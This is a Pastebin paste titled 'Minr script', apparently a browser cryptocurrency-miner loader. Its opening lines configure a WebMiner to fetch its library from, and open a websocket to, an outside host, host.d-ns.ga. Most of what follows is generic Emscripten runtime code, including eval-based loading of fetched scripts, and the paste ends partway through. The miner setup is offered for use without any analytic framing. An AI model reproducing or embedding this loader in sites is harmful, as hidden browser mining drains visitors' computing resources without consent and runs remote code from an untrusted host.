sdkhere

Minr script

Dec 8th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 193.39 KB | None | 0 0
  1. self.WebMiner = self.WebMiner || {};
  2. self.WebMiner.CONFIG = {
  3. LIB_URL: "https://host.d-ns.ga/lib/",
  4. WEBSOCKET_URLS: ["wss://host.d-ns.ga/socket"],
  5. CAPTCHA_URL: "https://host.d-ns.ga/captcha/"
  6. };
  7. var Module = {
  8. locateFile: (function(path) {
  9. return WebMiner.CONFIG.LIB_URL + path
  10. })
  11. };
  12. var Module;
  13. if (!Module) Module = (typeof Module !== "undefined" ? Module : null) || {};
  14. var moduleOverrides = {};
  15. for (var key in Module) {
  16. if (Module.hasOwnProperty(key)) {
  17. moduleOverrides[key] = Module[key]
  18. }
  19. }
  20. var ENVIRONMENT_IS_WEB = false;
  21. var ENVIRONMENT_IS_WORKER = false;
  22. var ENVIRONMENT_IS_NODE = false;
  23. var ENVIRONMENT_IS_SHELL = false;
  24. if (Module["ENVIRONMENT"]) {
  25. if (Module["ENVIRONMENT"] === "WEB") {
  26. ENVIRONMENT_IS_WEB = true
  27. } else if (Module["ENVIRONMENT"] === "WORKER") {
  28. ENVIRONMENT_IS_WORKER = true
  29. } else if (Module["ENVIRONMENT"] === "NODE") {
  30. ENVIRONMENT_IS_NODE = true
  31. } else if (Module["ENVIRONMENT"] === "SHELL") {
  32. ENVIRONMENT_IS_SHELL = true
  33. } else {
  34. throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")
  35. }
  36. } else {
  37. ENVIRONMENT_IS_WEB = typeof window === "object";
  38. ENVIRONMENT_IS_WORKER = typeof importScripts === "function";
  39. ENVIRONMENT_IS_NODE = typeof process === "object" && typeof require === "function" && !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER;
  40. ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_NODE && !ENVIRONMENT_IS_WORKER
  41. }
  42. if (ENVIRONMENT_IS_NODE) {
  43. if (!Module["print"]) Module["print"] = console.log;
  44. if (!Module["printErr"]) Module["printErr"] = console.warn;
  45. var nodeFS;
  46. var nodePath;
  47. Module["read"] = function shell_read(filename, binary) {
  48. if (!nodeFS) nodeFS = require("fs");
  49. if (!nodePath) nodePath = require("path");
  50. filename = nodePath["normalize"](filename);
  51. var ret = nodeFS["readFileSync"](filename);
  52. return binary ? ret : ret.toString()
  53. };
  54. Module["readBinary"] = function readBinary(filename) {
  55. var ret = Module["read"](filename, true);
  56. if (!ret.buffer) {
  57. ret = new Uint8Array(ret)
  58. }
  59. assert(ret.buffer);
  60. return ret
  61. };
  62. Module["load"] = function load(f) {
  63. globalEval(read(f))
  64. };
  65. if (!Module["thisProgram"]) {
  66. if (process["argv"].length > 1) {
  67. Module["thisProgram"] = process["argv"][1].replace(/\\/g, "/")
  68. } else {
  69. Module["thisProgram"] = "unknown-program"
  70. }
  71. }
  72. Module["arguments"] = process["argv"].slice(2);
  73. if (typeof module !== "undefined") {
  74. module["exports"] = Module
  75. }
  76. process["on"]("uncaughtException", (function(ex) {
  77. if (!(ex instanceof ExitStatus)) {
  78. throw ex
  79. }
  80. }));
  81. Module["inspect"] = (function() {
  82. return "[Emscripten Module object]"
  83. })
  84. } else if (ENVIRONMENT_IS_SHELL) {
  85. if (!Module["print"]) Module["print"] = print;
  86. if (typeof printErr != "undefined") Module["printErr"] = printErr;
  87. if (typeof read != "undefined") {
  88. Module["read"] = read
  89. } else {
  90. Module["read"] = function shell_read() {
  91. throw "no read() available"
  92. }
  93. }
  94. Module["readBinary"] = function readBinary(f) {
  95. if (typeof readbuffer === "function") {
  96. return new Uint8Array(readbuffer(f))
  97. }
  98. var data = read(f, "binary");
  99. assert(typeof data === "object");
  100. return data
  101. };
  102. if (typeof scriptArgs != "undefined") {
  103. Module["arguments"] = scriptArgs
  104. } else if (typeof arguments != "undefined") {
  105. Module["arguments"] = arguments
  106. }
  107. if (typeof quit === "function") {
  108. Module["quit"] = (function(status, toThrow) {
  109. quit(status)
  110. })
  111. }
  112. } else if (ENVIRONMENT_IS_WEB || ENVIRONMENT_IS_WORKER) {
  113. Module["read"] = function shell_read(url) {
  114. var xhr = new XMLHttpRequest;
  115. xhr.open("GET", url, false);
  116. xhr.send(null);
  117. return xhr.responseText
  118. };
  119. if (ENVIRONMENT_IS_WORKER) {
  120. Module["readBinary"] = function readBinary(url) {
  121. var xhr = new XMLHttpRequest;
  122. xhr.open("GET", url, false);
  123. xhr.responseType = "arraybuffer";
  124. xhr.send(null);
  125. return new Uint8Array(xhr.response)
  126. }
  127. }
  128. Module["readAsync"] = function readAsync(url, onload, onerror) {
  129. var xhr = new XMLHttpRequest;
  130. xhr.open("GET", url, true);
  131. xhr.responseType = "arraybuffer";
  132. xhr.onload = function xhr_onload() {
  133. if (xhr.status == 200 || xhr.status == 0 && xhr.response) {
  134. onload(xhr.response)
  135. } else {
  136. onerror()
  137. }
  138. };
  139. xhr.onerror = onerror;
  140. xhr.send(null)
  141. };
  142. if (typeof arguments != "undefined") {
  143. Module["arguments"] = arguments
  144. }
  145. if (typeof console !== "undefined") {
  146. if (!Module["print"]) Module["print"] = function shell_print(x) {
  147. console.log(x)
  148. };
  149. if (!Module["printErr"]) Module["printErr"] = function shell_printErr(x) {
  150. console.warn(x)
  151. }
  152. } else {
  153. var TRY_USE_DUMP = false;
  154. if (!Module["print"]) Module["print"] = TRY_USE_DUMP && typeof dump !== "undefined" ? (function(x) {
  155. dump(x)
  156. }) : (function(x) {})
  157. }
  158. if (ENVIRONMENT_IS_WORKER) {
  159. Module["load"] = importScripts
  160. }
  161. if (typeof Module["setWindowTitle"] === "undefined") {
  162. Module["setWindowTitle"] = (function(title) {
  163. document.title = title
  164. })
  165. }
  166. } else {
  167. throw "Unknown runtime environment. Where are we?"
  168. }
  169.  
  170. function globalEval(x) {
  171. eval.call(null, x)
  172. }
  173. if (!Module["load"] && Module["read"]) {
  174. Module["load"] = function load(f) {
  175. globalEval(Module["read"](f))
  176. }
  177. }
  178. if (!Module["print"]) {
  179. Module["print"] = (function() {})
  180. }
  181. if (!Module["printErr"]) {
  182. Module["printErr"] = Module["print"]
  183. }
  184. if (!Module["arguments"]) {
  185. Module["arguments"] = []
  186. }
  187. if (!Module["thisProgram"]) {
  188. Module["thisProgram"] = "./this.program"
  189. }
  190. if (!Module["quit"]) {
  191. Module["quit"] = (function(status, toThrow) {
  192. throw toThrow
  193. })
  194. }
  195. Module.print = Module["print"];
  196. Module.printErr = Module["printErr"];
  197. Module["preRun"] = [];
  198. Module["postRun"] = [];
  199. for (var key in moduleOverrides) {
  200. if (moduleOverrides.hasOwnProperty(key)) {
  201. Module[key] = moduleOverrides[key]
  202. }
  203. }
  204. moduleOverrides = undefined;
  205. var Runtime = {
  206. setTempRet0: (function(value) {
  207. tempRet0 = value;
  208. return value
  209. }),
  210. getTempRet0: (function() {
  211. return tempRet0
  212. }),
  213. stackSave: (function() {
  214. return STACKTOP
  215. }),
  216. stackRestore: (function(stackTop) {
  217. STACKTOP = stackTop
  218. }),
  219. getNativeTypeSize: (function(type) {
  220. switch (type) {
  221. case "i1":
  222. case "i8":
  223. return 1;
  224. case "i16":
  225. return 2;
  226. case "i32":
  227. return 4;
  228. case "i64":
  229. return 8;
  230. case "float":
  231. return 4;
  232. case "double":
  233. return 8;
  234. default:
  235. {
  236. if (type[type.length - 1] === "*") {
  237. return Runtime.QUANTUM_SIZE
  238. } else if (type[0] === "i") {
  239. var bits = parseInt(type.substr(1));
  240. assert(bits % 8 === 0);
  241. return bits / 8
  242. } else {
  243. return 0
  244. }
  245. }
  246. }
  247. }),
  248. getNativeFieldSize: (function(type) {
  249. return Math.max(Runtime.getNativeTypeSize(type), Runtime.QUANTUM_SIZE)
  250. }),
  251. STACK_ALIGN: 16,
  252. prepVararg: (function(ptr, type) {
  253. if (type === "double" || type === "i64") {
  254. if (ptr & 7) {
  255. assert((ptr & 7) === 4);
  256. ptr += 4
  257. }
  258. } else {
  259. assert((ptr & 3) === 0)
  260. }
  261. return ptr
  262. }),
  263. getAlignSize: (function(type, size, vararg) {
  264. if (!vararg && (type == "i64" || type == "double")) return 8;
  265. if (!type) return Math.min(size, 8);
  266. return Math.min(size || (type ? Runtime.getNativeFieldSize(type) : 0), Runtime.QUANTUM_SIZE)
  267. }),
  268. dynCall: (function(sig, ptr, args) {
  269. if (args && args.length) {
  270. return Module["dynCall_" + sig].apply(null, [ptr].concat(args))
  271. } else {
  272. return Module["dynCall_" + sig].call(null, ptr)
  273. }
  274. }),
  275. functionPointers: [],
  276. addFunction: (function(func) {
  277. for (var i = 0; i < Runtime.functionPointers.length; i++) {
  278. if (!Runtime.functionPointers[i]) {
  279. Runtime.functionPointers[i] = func;
  280. return 2 * (1 + i)
  281. }
  282. }
  283. throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."
  284. }),
  285. removeFunction: (function(index) {
  286. Runtime.functionPointers[(index - 2) / 2] = null
  287. }),
  288. warnOnce: (function(text) {
  289. if (!Runtime.warnOnce.shown) Runtime.warnOnce.shown = {};
  290. if (!Runtime.warnOnce.shown[text]) {
  291. Runtime.warnOnce.shown[text] = 1;
  292. Module.printErr(text)
  293. }
  294. }),
  295. funcWrappers: {},
  296. getFuncWrapper: (function(func, sig) {
  297. assert(sig);
  298. if (!Runtime.funcWrappers[sig]) {
  299. Runtime.funcWrappers[sig] = {}
  300. }
  301. var sigCache = Runtime.funcWrappers[sig];
  302. if (!sigCache[func]) {
  303. if (sig.length === 1) {
  304. sigCache[func] = function dynCall_wrapper() {
  305. return Runtime.dynCall(sig, func)
  306. }
  307. } else if (sig.length === 2) {
  308. sigCache[func] = function dynCall_wrapper(arg) {
  309. return Runtime.dynCall(sig, func, [arg])
  310. }
  311. } else {
  312. sigCache[func] = function dynCall_wrapper() {
  313. return Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments))
  314. }
  315. }
  316. }
  317. return sigCache[func]
  318. }),
  319. getCompilerSetting: (function(name) {
  320. throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"
  321. }),
  322. stackAlloc: (function(size) {
  323. var ret = STACKTOP;
  324. STACKTOP = STACKTOP + size | 0;
  325. STACKTOP = STACKTOP + 15 & -16;
  326. return ret
  327. }),
  328. staticAlloc: (function(size) {
  329. var ret = STATICTOP;
  330. STATICTOP = STATICTOP + size | 0;
  331. STATICTOP = STATICTOP + 15 & -16;
  332. return ret
  333. }),
  334. dynamicAlloc: (function(size) {
  335. var ret = HEAP32[DYNAMICTOP_PTR >> 2];
  336. var end = (ret + size + 15 | 0) & -16;
  337. HEAP32[DYNAMICTOP_PTR >> 2] = end;
  338. if (end >= TOTAL_MEMORY) {
  339. var success = enlargeMemory();
  340. if (!success) {
  341. HEAP32[DYNAMICTOP_PTR >> 2] = ret;
  342. return 0
  343. }
  344. }
  345. return ret
  346. }),
  347. alignMemory: (function(size, quantum) {
  348. var ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16);
  349. return ret
  350. }),
  351. makeBigInt: (function(low, high, unsigned) {
  352. var ret = unsigned ? +(low >>> 0) + +(high >>> 0) * 4294967296 : +(low >>> 0) + +(high | 0) * 4294967296;
  353. return ret
  354. }),
  355. GLOBAL_BASE: 1024,
  356. QUANTUM_SIZE: 4,
  357. __dummy__: 0
  358. };
  359. Module["Runtime"] = Runtime;
  360. var ABORT = 0;
  361. var EXITSTATUS = 0;
  362.  
  363. function assert(condition, text) {
  364. if (!condition) {
  365. abort("Assertion failed: " + text)
  366. }
  367. }
  368.  
  369. function getCFunc(ident) {
  370. var func = Module["_" + ident];
  371. if (!func) {
  372. try {
  373. func = eval("_" + ident)
  374. } catch (e) {}
  375. }
  376. assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)");
  377. return func
  378. }
  379. var cwrap, ccall;
  380. ((function() {
  381. var JSfuncs = {
  382. "stackSave": (function() {
  383. Runtime.stackSave()
  384. }),
  385. "stackRestore": (function() {
  386. Runtime.stackRestore()
  387. }),
  388. "arrayToC": (function(arr) {
  389. var ret = Runtime.stackAlloc(arr.length);
  390. writeArrayToMemory(arr, ret);
  391. return ret
  392. }),
  393. "stringToC": (function(str) {
  394. var ret = 0;
  395. if (str !== null && str !== undefined && str !== 0) {
  396. var len = (str.length << 2) + 1;
  397. ret = Runtime.stackAlloc(len);
  398. stringToUTF8(str, ret, len)
  399. }
  400. return ret
  401. })
  402. };
  403. var toC = {
  404. "string": JSfuncs["stringToC"],
  405. "array": JSfuncs["arrayToC"]
  406. };
  407. ccall = function ccallFunc(ident, returnType, argTypes, args, opts) {
  408. var func = getCFunc(ident);
  409. var cArgs = [];
  410. var stack = 0;
  411. if (args) {
  412. for (var i = 0; i < args.length; i++) {
  413. var converter = toC[argTypes[i]];
  414. if (converter) {
  415. if (stack === 0) stack = Runtime.stackSave();
  416. cArgs[i] = converter(args[i])
  417. } else {
  418. cArgs[i] = args[i]
  419. }
  420. }
  421. }
  422. var ret = func.apply(null, cArgs);
  423. if (returnType === "string") ret = Pointer_stringify(ret);
  424. if (stack !== 0) {
  425. if (opts && opts.async) {
  426. EmterpreterAsync.asyncFinalizers.push((function() {
  427. Runtime.stackRestore(stack)
  428. }));
  429. return
  430. }
  431. Runtime.stackRestore(stack)
  432. }
  433. return ret
  434. };
  435. var sourceRegex = /^function\s*[a-zA-Z$_0-9]*\s*\(([^)]*)\)\s*{\s*([^*]*?)[\s;]*(?:return\s*(.*?)[;\s]*)?}$/;
  436.  
  437. function parseJSFunc(jsfunc) {
  438. var parsed = jsfunc.toString().match(sourceRegex).slice(1);
  439. return {
  440. arguments: parsed[0],
  441. body: parsed[1],
  442. returnValue: parsed[2]
  443. }
  444. }
  445. var JSsource = null;
  446.  
  447. function ensureJSsource() {
  448. if (!JSsource) {
  449. JSsource = {};
  450. for (var fun in JSfuncs) {
  451. if (JSfuncs.hasOwnProperty(fun)) {
  452. JSsource[fun] = parseJSFunc(JSfuncs[fun])
  453. }
  454. }
  455. }
  456. }
  457. cwrap = function cwrap(ident, returnType, argTypes) {
  458. argTypes = argTypes || [];
  459. var cfunc = getCFunc(ident);
  460. var numericArgs = argTypes.every((function(type) {
  461. return type === "number"
  462. }));
  463. var numericRet = returnType !== "string";
  464. if (numericRet && numericArgs) {
  465. return cfunc
  466. }
  467. var argNames = argTypes.map((function(x, i) {
  468. return "$" + i
  469. }));
  470. var funcstr = "(function(" + argNames.join(",") + ") {";
  471. var nargs = argTypes.length;
  472. if (!numericArgs) {
  473. ensureJSsource();
  474. funcstr += "var stack = " + JSsource["stackSave"].body + ";";
  475. for (var i = 0; i < nargs; i++) {
  476. var arg = argNames[i],
  477. type = argTypes[i];
  478. if (type === "number") continue;
  479. var convertCode = JSsource[type + "ToC"];
  480. funcstr += "var " + convertCode.arguments + " = " + arg + ";";
  481. funcstr += convertCode.body + ";";
  482. funcstr += arg + "=(" + convertCode.returnValue + ");"
  483. }
  484. }
  485. var cfuncname = parseJSFunc((function() {
  486. return cfunc
  487. })).returnValue;
  488. funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");";
  489. if (!numericRet) {
  490. var strgfy = parseJSFunc((function() {
  491. return Pointer_stringify
  492. })).returnValue;
  493. funcstr += "ret = " + strgfy + "(ret);"
  494. }
  495. if (!numericArgs) {
  496. ensureJSsource();
  497. funcstr += JSsource["stackRestore"].body.replace("()", "(stack)") + ";"
  498. }
  499. funcstr += "return ret})";
  500. return eval(funcstr)
  501. }
  502. }))();
  503. Module["ccall"] = ccall;
  504. Module["cwrap"] = cwrap;
  505.  
  506. function setValue(ptr, value, type, noSafe) {
  507. type = type || "i8";
  508. if (type.charAt(type.length - 1) === "*") type = "i32";
  509. switch (type) {
  510. case "i1":
  511. HEAP8[ptr >> 0] = value;
  512. break;
  513. case "i8":
  514. HEAP8[ptr >> 0] = value;
  515. break;
  516. case "i16":
  517. HEAP16[ptr >> 1] = value;
  518. break;
  519. case "i32":
  520. HEAP32[ptr >> 2] = value;
  521. break;
  522. case "i64":
  523. tempI64 = [value >>> 0, (tempDouble = value, +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)], HEAP32[ptr >> 2] = tempI64[0], HEAP32[ptr + 4 >> 2] = tempI64[1];
  524. break;
  525. case "float":
  526. HEAPF32[ptr >> 2] = value;
  527. break;
  528. case "double":
  529. HEAPF64[ptr >> 3] = value;
  530. break;
  531. default:
  532. abort("invalid type for setValue: " + type)
  533. }
  534. }
  535. Module["setValue"] = setValue;
  536.  
  537. function getValue(ptr, type, noSafe) {
  538. type = type || "i8";
  539. if (type.charAt(type.length - 1) === "*") type = "i32";
  540. switch (type) {
  541. case "i1":
  542. return HEAP8[ptr >> 0];
  543. case "i8":
  544. return HEAP8[ptr >> 0];
  545. case "i16":
  546. return HEAP16[ptr >> 1];
  547. case "i32":
  548. return HEAP32[ptr >> 2];
  549. case "i64":
  550. return HEAP32[ptr >> 2];
  551. case "float":
  552. return HEAPF32[ptr >> 2];
  553. case "double":
  554. return HEAPF64[ptr >> 3];
  555. default:
  556. abort("invalid type for setValue: " + type)
  557. }
  558. return null
  559. }
  560. Module["getValue"] = getValue;
  561. var ALLOC_NORMAL = 0;
  562. var ALLOC_STACK = 1;
  563. var ALLOC_STATIC = 2;
  564. var ALLOC_DYNAMIC = 3;
  565. var ALLOC_NONE = 4;
  566. Module["ALLOC_NORMAL"] = ALLOC_NORMAL;
  567. Module["ALLOC_STACK"] = ALLOC_STACK;
  568. Module["ALLOC_STATIC"] = ALLOC_STATIC;
  569. Module["ALLOC_DYNAMIC"] = ALLOC_DYNAMIC;
  570. Module["ALLOC_NONE"] = ALLOC_NONE;
  571.  
  572. function allocate(slab, types, allocator, ptr) {
  573. var zeroinit, size;
  574. if (typeof slab === "number") {
  575. zeroinit = true;
  576. size = slab
  577. } else {
  578. zeroinit = false;
  579. size = slab.length
  580. }
  581. var singleType = typeof types === "string" ? types : null;
  582. var ret;
  583. if (allocator == ALLOC_NONE) {
  584. ret = ptr
  585. } else {
  586. ret = [typeof _malloc === "function" ? _malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ? ALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length))
  587. }
  588. if (zeroinit) {
  589. var ptr = ret,
  590. stop;
  591. assert((ret & 3) == 0);
  592. stop = ret + (size & ~3);
  593. for (; ptr < stop; ptr += 4) {
  594. HEAP32[ptr >> 2] = 0
  595. }
  596. stop = ret + size;
  597. while (ptr < stop) {
  598. HEAP8[ptr++ >> 0] = 0
  599. }
  600. return ret
  601. }
  602. if (singleType === "i8") {
  603. if (slab.subarray || slab.slice) {
  604. HEAPU8.set(slab, ret)
  605. } else {
  606. HEAPU8.set(new Uint8Array(slab), ret)
  607. }
  608. return ret
  609. }
  610. var i = 0,
  611. type, typeSize, previousType;
  612. while (i < size) {
  613. var curr = slab[i];
  614. if (typeof curr === "function") {
  615. curr = Runtime.getFunctionIndex(curr)
  616. }
  617. type = singleType || types[i];
  618. if (type === 0) {
  619. i++;
  620. continue
  621. }
  622. if (type == "i64") type = "i32";
  623. setValue(ret + i, curr, type);
  624. if (previousType !== type) {
  625. typeSize = Runtime.getNativeTypeSize(type);
  626. previousType = type
  627. }
  628. i += typeSize
  629. }
  630. return ret
  631. }
  632. Module["allocate"] = allocate;
  633.  
  634. function getMemory(size) {
  635. if (!staticSealed) return Runtime.staticAlloc(size);
  636. if (!runtimeInitialized) return Runtime.dynamicAlloc(size);
  637. return _malloc(size)
  638. }
  639. Module["getMemory"] = getMemory;
  640.  
  641. function Pointer_stringify(ptr, length) {
  642. if (length === 0 || !ptr) return "";
  643. var hasUtf = 0;
  644. var t;
  645. var i = 0;
  646. while (1) {
  647. t = HEAPU8[ptr + i >> 0];
  648. hasUtf |= t;
  649. if (t == 0 && !length) break;
  650. i++;
  651. if (length && i == length) break
  652. }
  653. if (!length) length = i;
  654. var ret = "";
  655. if (hasUtf < 128) {
  656. var MAX_CHUNK = 1024;
  657. var curr;
  658. while (length > 0) {
  659. curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr, ptr + Math.min(length, MAX_CHUNK)));
  660. ret = ret ? ret + curr : curr;
  661. ptr += MAX_CHUNK;
  662. length -= MAX_CHUNK
  663. }
  664. return ret
  665. }
  666. return Module["UTF8ToString"](ptr)
  667. }
  668. Module["Pointer_stringify"] = Pointer_stringify;
  669.  
  670. function AsciiToString(ptr) {
  671. var str = "";
  672. while (1) {
  673. var ch = HEAP8[ptr++ >> 0];
  674. if (!ch) return str;
  675. str += String.fromCharCode(ch)
  676. }
  677. }
  678. Module["AsciiToString"] = AsciiToString;
  679.  
  680. function stringToAscii(str, outPtr) {
  681. return writeAsciiToMemory(str, outPtr, false)
  682. }
  683. Module["stringToAscii"] = stringToAscii;
  684. var UTF8Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf8") : undefined;
  685.  
  686. function UTF8ArrayToString(u8Array, idx) {
  687. var endPtr = idx;
  688. while (u8Array[endPtr]) ++endPtr;
  689. if (endPtr - idx > 16 && u8Array.subarray && UTF8Decoder) {
  690. return UTF8Decoder.decode(u8Array.subarray(idx, endPtr))
  691. } else {
  692. var u0, u1, u2, u3, u4, u5;
  693. var str = "";
  694. while (1) {
  695. u0 = u8Array[idx++];
  696. if (!u0) return str;
  697. if (!(u0 & 128)) {
  698. str += String.fromCharCode(u0);
  699. continue
  700. }
  701. u1 = u8Array[idx++] & 63;
  702. if ((u0 & 224) == 192) {
  703. str += String.fromCharCode((u0 & 31) << 6 | u1);
  704. continue
  705. }
  706. u2 = u8Array[idx++] & 63;
  707. if ((u0 & 240) == 224) {
  708. u0 = (u0 & 15) << 12 | u1 << 6 | u2
  709. } else {
  710. u3 = u8Array[idx++] & 63;
  711. if ((u0 & 248) == 240) {
  712. u0 = (u0 & 7) << 18 | u1 << 12 | u2 << 6 | u3
  713. } else {
  714. u4 = u8Array[idx++] & 63;
  715. if ((u0 & 252) == 248) {
  716. u0 = (u0 & 3) << 24 | u1 << 18 | u2 << 12 | u3 << 6 | u4
  717. } else {
  718. u5 = u8Array[idx++] & 63;
  719. u0 = (u0 & 1) << 30 | u1 << 24 | u2 << 18 | u3 << 12 | u4 << 6 | u5
  720. }
  721. }
  722. }
  723. if (u0 < 65536) {
  724. str += String.fromCharCode(u0)
  725. } else {
  726. var ch = u0 - 65536;
  727. str += String.fromCharCode(55296 | ch >> 10, 56320 | ch & 1023)
  728. }
  729. }
  730. }
  731. }
  732. Module["UTF8ArrayToString"] = UTF8ArrayToString;
  733.  
  734. function UTF8ToString(ptr) {
  735. return UTF8ArrayToString(HEAPU8, ptr)
  736. }
  737. Module["UTF8ToString"] = UTF8ToString;
  738.  
  739. function stringToUTF8Array(str, outU8Array, outIdx, maxBytesToWrite) {
  740. if (!(maxBytesToWrite > 0)) return 0;
  741. var startIdx = outIdx;
  742. var endIdx = outIdx + maxBytesToWrite - 1;
  743. for (var i = 0; i < str.length; ++i) {
  744. var u = str.charCodeAt(i);
  745. if (u >= 55296 && u <= 57343) u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  746. if (u <= 127) {
  747. if (outIdx >= endIdx) break;
  748. outU8Array[outIdx++] = u
  749. } else if (u <= 2047) {
  750. if (outIdx + 1 >= endIdx) break;
  751. outU8Array[outIdx++] = 192 | u >> 6;
  752. outU8Array[outIdx++] = 128 | u & 63
  753. } else if (u <= 65535) {
  754. if (outIdx + 2 >= endIdx) break;
  755. outU8Array[outIdx++] = 224 | u >> 12;
  756. outU8Array[outIdx++] = 128 | u >> 6 & 63;
  757. outU8Array[outIdx++] = 128 | u & 63
  758. } else if (u <= 2097151) {
  759. if (outIdx + 3 >= endIdx) break;
  760. outU8Array[outIdx++] = 240 | u >> 18;
  761. outU8Array[outIdx++] = 128 | u >> 12 & 63;
  762. outU8Array[outIdx++] = 128 | u >> 6 & 63;
  763. outU8Array[outIdx++] = 128 | u & 63
  764. } else if (u <= 67108863) {
  765. if (outIdx + 4 >= endIdx) break;
  766. outU8Array[outIdx++] = 248 | u >> 24;
  767. outU8Array[outIdx++] = 128 | u >> 18 & 63;
  768. outU8Array[outIdx++] = 128 | u >> 12 & 63;
  769. outU8Array[outIdx++] = 128 | u >> 6 & 63;
  770. outU8Array[outIdx++] = 128 | u & 63
  771. } else {
  772. if (outIdx + 5 >= endIdx) break;
  773. outU8Array[outIdx++] = 252 | u >> 30;
  774. outU8Array[outIdx++] = 128 | u >> 24 & 63;
  775. outU8Array[outIdx++] = 128 | u >> 18 & 63;
  776. outU8Array[outIdx++] = 128 | u >> 12 & 63;
  777. outU8Array[outIdx++] = 128 | u >> 6 & 63;
  778. outU8Array[outIdx++] = 128 | u & 63
  779. }
  780. }
  781. outU8Array[outIdx] = 0;
  782. return outIdx - startIdx
  783. }
  784. Module["stringToUTF8Array"] = stringToUTF8Array;
  785.  
  786. function stringToUTF8(str, outPtr, maxBytesToWrite) {
  787. return stringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite)
  788. }
  789. Module["stringToUTF8"] = stringToUTF8;
  790.  
  791. function lengthBytesUTF8(str) {
  792. var len = 0;
  793. for (var i = 0; i < str.length; ++i) {
  794. var u = str.charCodeAt(i);
  795. if (u >= 55296 && u <= 57343) u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  796. if (u <= 127) {
  797. ++len
  798. } else if (u <= 2047) {
  799. len += 2
  800. } else if (u <= 65535) {
  801. len += 3
  802. } else if (u <= 2097151) {
  803. len += 4
  804. } else if (u <= 67108863) {
  805. len += 5
  806. } else {
  807. len += 6
  808. }
  809. }
  810. return len
  811. }
  812. Module["lengthBytesUTF8"] = lengthBytesUTF8;
  813. var UTF16Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf-16le") : undefined;
  814.  
  815. function demangle(func) {
  816. var __cxa_demangle_func = Module["___cxa_demangle"] || Module["__cxa_demangle"];
  817. if (__cxa_demangle_func) {
  818. try {
  819. var s = func.substr(1);
  820. var len = lengthBytesUTF8(s) + 1;
  821. var buf = _malloc(len);
  822. stringToUTF8(s, buf, len);
  823. var status = _malloc(4);
  824. var ret = __cxa_demangle_func(buf, 0, 0, status);
  825. if (getValue(status, "i32") === 0 && ret) {
  826. return Pointer_stringify(ret)
  827. }
  828. } catch (e) {} finally {
  829. if (buf) _free(buf);
  830. if (status) _free(status);
  831. if (ret) _free(ret)
  832. }
  833. return func
  834. }
  835. Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling");
  836. return func
  837. }
  838.  
  839. function demangleAll(text) {
  840. var regex = /__Z[\w\d_]+/g;
  841. return text.replace(regex, (function(x) {
  842. var y = demangle(x);
  843. return x === y ? x : x + " [" + y + "]"
  844. }))
  845. }
  846.  
  847. function jsStackTrace() {
  848. var err = new Error;
  849. if (!err.stack) {
  850. try {
  851. throw new Error(0)
  852. } catch (e) {
  853. err = e
  854. }
  855. if (!err.stack) {
  856. return "(no stack trace available)"
  857. }
  858. }
  859. return err.stack.toString()
  860. }
  861.  
  862. function stackTrace() {
  863. var js = jsStackTrace();
  864. if (Module["extraStackTrace"]) js += "\n" + Module["extraStackTrace"]();
  865. return demangleAll(js)
  866. }
  867. Module["stackTrace"] = stackTrace;
  868. var WASM_PAGE_SIZE = 65536;
  869. var ASMJS_PAGE_SIZE = 16777216;
  870.  
  871. function alignUp(x, multiple) {
  872. if (x % multiple > 0) {
  873. x += multiple - x % multiple
  874. }
  875. return x
  876. }
  877. var HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64;
  878.  
  879. function updateGlobalBuffer(buf) {
  880. Module["buffer"] = buffer = buf
  881. }
  882.  
  883. function updateGlobalBufferViews() {
  884. Module["HEAP8"] = HEAP8 = new Int8Array(buffer);
  885. Module["HEAP16"] = HEAP16 = new Int16Array(buffer);
  886. Module["HEAP32"] = HEAP32 = new Int32Array(buffer);
  887. Module["HEAPU8"] = HEAPU8 = new Uint8Array(buffer);
  888. Module["HEAPU16"] = HEAPU16 = new Uint16Array(buffer);
  889. Module["HEAPU32"] = HEAPU32 = new Uint32Array(buffer);
  890. Module["HEAPF32"] = HEAPF32 = new Float32Array(buffer);
  891. Module["HEAPF64"] = HEAPF64 = new Float64Array(buffer)
  892. }
  893. var STATIC_BASE, STATICTOP, staticSealed;
  894. var STACK_BASE, STACKTOP, STACK_MAX;
  895. var DYNAMIC_BASE, DYNAMICTOP_PTR;
  896. STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0;
  897. staticSealed = false;
  898.  
  899. function abortOnCannotGrowMemory() {
  900. abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")
  901. }
  902.  
  903. function enlargeMemory() {
  904. abortOnCannotGrowMemory()
  905. }
  906. var TOTAL_STACK = Module["TOTAL_STACK"] || 5242880;
